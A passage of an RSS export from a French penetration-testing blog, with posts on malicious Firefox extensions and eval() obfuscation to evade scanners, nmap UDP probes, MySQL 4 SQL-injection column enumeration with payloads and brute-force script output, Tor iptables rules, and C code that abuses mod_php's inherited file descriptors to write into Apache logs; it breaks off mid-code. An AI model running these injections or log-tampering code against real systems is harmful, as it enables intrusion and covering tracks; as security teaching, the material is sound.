		<pubDate>Sun, 07 Feb 2010 17:36:23 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[malware]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[obufscation]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=520</guid>
		<description><![CDATA[Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser une extension vérolée pour Firefox ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230; En effet, Mozilla vient d&#8217;annoncer sur son security blog que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Firefox Malware Image" src="http://www.indahax.com/images/firefox.png" title="Firefox malware" class="alignleft" />Il fut un temps où je m&#8217;étais posé la question de savoir s&#8217;il était possible de diffuser <strong>une extension vérolée pour Firefox</strong> ou Thunderbird sur le site addons.mozilla.org, et bien apparemment oui&#8230;<br />
<span id="more-520"></span><br />
En effet, Mozilla vient d&#8217;annoncer sur son <a href="http://blog.mozilla.com/security/2010/02/05/security-issues-with-two-experimental-add-ons/">security blog</a> que deux extensions malicieuses ont été découvertes dans la section expérimentale. Les extensions malicieuses n&#8217;affectent que les systèmes Windows, il s&#8217;agit probablement d&#8217;un <strong>binaire embarqué</strong> qui est exécuté par l&#8217;extension&#8230; Rien de bien révolutionnaire.</p>
<p>Il faut savoir qu&#8217;une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP&#8230;), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall&#8230;</p>
<p>D&#8217;après les dires du security blog, <strong>Mozilla utilise plusieurs scanners anti-malware</strong> pour éviter ce genre de désagrément  :</p>
<blockquote><p>These were not originally detected with the anti-malware scanning tools that we have been using.</p></blockquote>
<p>Cependant, j&#8217;aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction <strong>eval()</strong> permet d&#8217;interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">// var signature = &quot;something_bad();&quot;;</span>
<span style="color: #003366; font-weight: bold;">var</span> signature_crypt <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;XAQDFQDFQSDFQSDF&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">eval</span><span style="color: #009900;">&#40;</span>decrypt<span style="color: #009900;">&#40;</span>signature_crypt<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Bien sûr, il est possible que les <strong>supers scanners</strong> de Mozilla gère ce type d&#8217;obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus&#8230; FEAR. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/malware/firefox-malware-discovered/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Nmap, scan UDP applicatif</title>
		<link>http://www.indahax.com/pentest/nmap-udp-applicatif</link>
		<comments>http://www.indahax.com/pentest/nmap-udp-applicatif#comments</comments>
		<pubDate>Mon, 01 Feb 2010 08:01:15 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[scan de ports]]></category>
		<category><![CDATA[udp]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=510</guid>
		<description><![CDATA[Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter le scan de port applicatif sur le protocole UDP. Voici un extrait du changelog de la dernière version de nmap : o For some UDP ports, Nmap will now send a protocol-specific payload that is more likely to get [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://indahax.com/images/nmap-logo.png" alt="nmap" class=alignleft />Je viens de lire une chose intéressante sur le blog du SANS, nmap commence à implémenter <strong>le scan de port applicatif sur le protocole UDP</strong>. Voici un extrait du changelog de la dernière version de nmap :<br />
<span id="more-510"></span></p>
<blockquote><p>
o For some UDP ports, Nmap will now send a protocol-specific payload<br />
  that is more likely to get a response than an empty packet is. This<br />
  improves the effectiveness of probes to those ports for host<br />
  discovery, and also makes an open port more likely to be classified<br />
  open rather than open|filtered. The ports and payloads are defined<br />
  in payload.cc. The ports that have a payload are 7 (echo),<br />
  53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),<br />
  177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),<br />
  2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]
</p></blockquote>
<p>Par scan applicatif j&#8217;entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu&#8217;il reçoit bien une réponse DNS afin de déterminer si le service est <strong>open</strong>. </p>
<p>Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.
&nbsp;
  Some of them are taken from nmap-service-probes.
*/</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_GenericLines<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span><span style="color: #660099; font-weight: bold;">\x0D</span><span style="color: #660099; font-weight: bold;">\x0A</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_DNSStatusRequest<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x10</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">static</span> <span style="color: #993333;">const</span> <span style="color: #993333;">char</span> payload_RPCCheck<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\xFE</span><span style="color: #660099; font-weight: bold;">\x1D</span><span style="color: #660099; font-weight: bold;">\x13</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x02</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x86</span><span style="color: #660099; font-weight: bold;">\xA0</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x01</span><span style="color: #660099; font-weight: bold;">\x97</span><span style="color: #660099; font-weight: bold;">\x7C</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span>
  <span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>C&#8217;est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur <strong>l&#8217;absence de réponse ICMP pour déterminer si un port UDP est open</strong> (du moins pour les ports cités dans le changelog).</p>
<p>Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7
&nbsp;
Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind
&nbsp;
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/nmap-udp-applicatif/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Enumération des tables sous Mysql 4</title>
		<link>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4</link>
		<comments>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4#comments</comments>
		<pubDate>Wed, 30 Dec 2009 18:32:33 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[colonne]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[injection sql]]></category>
		<category><![CDATA[mysql 4]]></category>
		<category><![CDATA[table]]></category>
		<category><![CDATA[wordlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=493</guid>
		<description><![CDATA[Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une injection SQL avec une base de données Mysql 4. Ha oui, c&#8217;est tout de suite plus difficile sans information_schema ! Le premier tips c&#8217;est en utilisant la fonction PROCEDURE ANALYSE(). [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="Mysql Image" src="http://www.indahax.com/images/mysql-logo.png" title="Injection SQL" class="alignleft" width="200" height="103" /> Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une <strong>injection SQL</strong> avec une base de données <strong>Mysql 4</strong>. Ha oui, c&#8217;est tout de suite plus difficile sans <strong>information_schema</strong> !<br/><br />
<span id="more-493"></span><br />
Le premier tips c&#8217;est en utilisant la fonction <a href="http://dev.mysql.com/doc/refman/5.0/fr/procedure-analyse.html">PROCEDURE ANALYSE()</a>. Look :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();
&nbsp;
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    | 
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL | 
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  | 
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)</pre></div></div>

<p>Youpi, la requête nous liste les noms des colonnes, la table et la base de données <strong>concernées par la requête</strong> ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : <code>Field_name | Min_value | Max_value | ...</code> au lieu de <code>idClient | name | pass</code>. Concrètement, cela veut dire qu&#8217;on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table (<em> $row[0] et pas $row["idClient"]</em> ), ce qui est plutôt rare&#8230;</p>
<p>Un autre truc (<strong>corrigé sur Mysql 5.1</strong>) que j&#8217;ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l&#8217;on a découvert le nom de la table on peut tester un truc dans le genre :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);
&nbsp;
ERROR 1241 (21000): Operand should contain 3 column(s)</pre></div></div>

<p>Youpi car ça nous retourne le nombre de colonnes, mais c&#8217;est maintenant que ça devient intéressant, toujours à l&#8217;aide des messages d&#8217;erreurs on va pouvoir lister le nom de chacune d&#8217;entre elles :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);
&nbsp;
&quot;Column 'idClient' cannot be null&quot;</pre></div></div>

<p>Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l&#8217;attribut <strong>NOT NULL</strong> <img src='http://www.indahax.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>Bon allez, j&#8217;arrête de donner des petits trucs foireux, passons aux choses sérieuses avec <a href="http://indahax.com/downloads/mysql4-enumeration.pl">ce script</a> maison en PERL qui cherche les noms des tables à partir d&#8217;une wordlist :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Table found : client
&nbsp;
pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt 
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION
&nbsp;
[*] Column found : name
[*] Column found : pass</pre></div></div>

<p>Je me suis pas pris la tete pour dev le script, il faut bidouiller le code pour personnaliser l&#8217;attaque en fonction l&#8217;injection&#8230; J&#8217;espère que vous comprendrez, sinon tant pis <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).</p>
<p>Passez de joyeuses fêtes !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/enumeration-tables-columns-mysql-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sécuriser Tor avec iptables</title>
		<link>http://www.indahax.com/pentest/secure-tor</link>
		<comments>http://www.indahax.com/pentest/secure-tor#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:28:57 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=474</guid>
		<description><![CDATA[Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le proxy Tor. Vous connaissez surement l&#8217;indispensable extension torbutton qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/tor.png" class="alignleft" /><br />
Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le <strong>proxy Tor</strong>.<br />
<span id="more-474"></span><br />
Vous connaissez surement l&#8217;indispensable extension <a href="https://addons.mozilla.org/fr/firefox/addon/2275">torbutton</a> qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profile Firefox différent avec le minimum vital niveau extension. </p>
<p>Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s&#8217;assurer qu&#8217;elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c&#8217;est à dire en <strong>autorisant uniquement les connexions du processus tor via un firewall</strong>. Voici comment faire avec iptables.</p>
<p>Tout d&#8217;abord, il est nécessaire de créer un utilisateur pour tor et d&#8217;exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l&#8217;utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration <strong>torrc</strong> :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">User tor</pre></div></div>

<p>Ensuite il nous reste à configurer iptables :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Vide les règles déjà présentes</span>
iptables <span style="color: #660033;">-F</span> INPUT
iptables <span style="color: #660033;">-F</span> OUTPUT
&nbsp;
<span style="color: #666666; font-style: italic;"># Bloque tout par défaut</span>
iptables <span style="color: #660033;">-P</span> INPUT DROP
iptables <span style="color: #660033;">-P</span> OUTPUT DROP
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise toutes les connexions locales</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-o</span> lo <span style="color: #660033;">-j</span> ACCEPT
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> lo <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Autorise uniquement les processus de l'utilisateur tor à établir des connexions</span>
iptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-m</span> owner <span style="color: #660033;">--uid-owner</span> tor <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Accepte uniquement les connexions que l'on a initiées</span>
iptables <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #666666; font-style: italic;"># Sauvegarde le tout </span>
iptables-save <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

<p>Et voilà, lors de l&#8217;utilisation de Tor on pourra mettre en place ces règles iptables afin d&#8217;être sur de communiquer uniquement via ce réseau.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">iptables-restore <span style="color: #000000; font-weight: bold;">&lt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>iptables<span style="color: #000000; font-weight: bold;">/</span>tor</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/secure-tor/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Détourner Apache via PHP</title>
		<link>http://www.indahax.com/pentest/apache-php-file-descriptor</link>
		<comments>http://www.indahax.com/pentest/apache-php-file-descriptor#comments</comments>
		<pubDate>Mon, 07 Dec 2009 15:51:49 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[Apache hijacking]]></category>
		<category><![CDATA[descripteurs de fichier]]></category>
		<category><![CDATA[file descriptor]]></category>
		<category><![CDATA[mod_php]]></category>
		<category><![CDATA[Pentest Apache]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=454</guid>
		<description><![CDATA[Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il est possible à partir d&#8217;un simple script php d&#8217;écouter sur le port 80 et de [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.indahax.com/wp-content/uploads/2009/12/apache.gif" alt="apache mod_php file descriptor leak" title="apache" width="165" height="124" class="alignleft" />Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec <strong>les droits apache</strong>, même si les logs sont en <strong>chmod 600 root</strong>. Pire, il est possible à partir d&#8217;un simple script php <strong>d&#8217;écouter sur le port 80 et de détourner toutes les requêtes</strong> faites vers le serveur web&#8230; Le comble c&#8217;est que cette faille est connue depuis que le mod_php existe sur Apache !<span id="more-454"></span></p>
<p>Le <strong>mod_php</strong> ne ferme pas les descripteurs de fichiers dont il a hérité avant d&#8217;exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l&#8217;on exécute le code suivant :</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #b1b100;">print</span> <span style="color: #990000;">posix_getpid</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">30</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Et que l&#8217;on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -&gt; /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -&gt; /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -&gt; anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -&gt; socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -&gt; /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -&gt; socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -&gt; socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -&gt; /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -&gt; /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -&gt; /var/log/apache2/access.log
&nbsp;
root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode</pre></div></div>

<p>On peut voir que le processus en cours, qui n&#8217;est rien d&#8217;autre qu&#8217;un simple script php exécuté avec les droits d&#8217;Apache, possède des descripteurs de fichiers des logs Apache <strong>ouverts en écriture</strong>, un descripteur sur le <strong>socket en écoute sur le port 80</strong>&#8230; </p>
<p>Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP <strong>autorise par défaut</strong> des fonctions permettant d&#8217;exécuter un fichier binaire ( la fonction <strong>system()</strong> par exemple) <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Le code suivant permet d&#8217;écrire n&#8217;importe quoi dans tous les logs Apache :</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">int</span> fd<span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> flag<span style="color: #339933;">,</span>accmode<span style="color: #339933;">,</span>val<span style="color: #339933;">;</span>
    <span style="color: #993333;">struct</span> stat fileinfo<span style="color: #339933;">;</span>
    <span style="color: #993333;">char</span> buffer<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1024</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;AAAAA&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #993333;">int</span> count<span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">&lt;</span>getdtablesize<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> fd<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        memset<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>fileinfo<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>fstat<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>fileinfo<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> S_ISREG<span style="color: #009900;">&#40;</span>fileinfo.<span style="color: #202020;">st_mode</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">=</span> fcntl<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> F_GETFL<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span>flag <span style="color: #339933;">&amp;</span> O_WRONLY<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #009900;">&#40;</span>count <span style="color: #339933;">=</span> write<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> buffer<span style="color: #339933;">,</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span> <span style="color: #ff0000;">&quot;%s &quot;</span><span style="color: #339933;">,</span>strerror<span style="color: #009900;">&#40;</span>errno<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
